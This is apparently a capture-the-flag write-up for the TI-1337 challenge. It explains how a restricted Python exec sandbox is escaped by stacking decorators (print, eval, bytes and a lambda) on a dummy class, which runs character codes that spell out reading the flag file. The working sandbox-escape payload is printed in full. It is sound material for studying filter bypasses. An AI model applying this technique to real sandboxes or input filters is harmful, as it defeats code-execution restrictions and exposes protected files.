TI-1337, 250 pts

This challenge gave a highly restrictive Python exec sandbox (no parentheses, no hashtags, no brackets, no imports, etc.). However, it did allow colons and the @ symbol, so classes could be decorated and lambda functions could be made. Using this, you could open the flag file and read it:

x = 111, 112, 101, 110, 40, 39, 102, 108, 97, 103, 46, 116, 120, 116, 39, 41, 46, 114, 101, 97, 100, 40, 41
y = lambda z: x
@print
@eval
@bytes
@y
class z:
	pass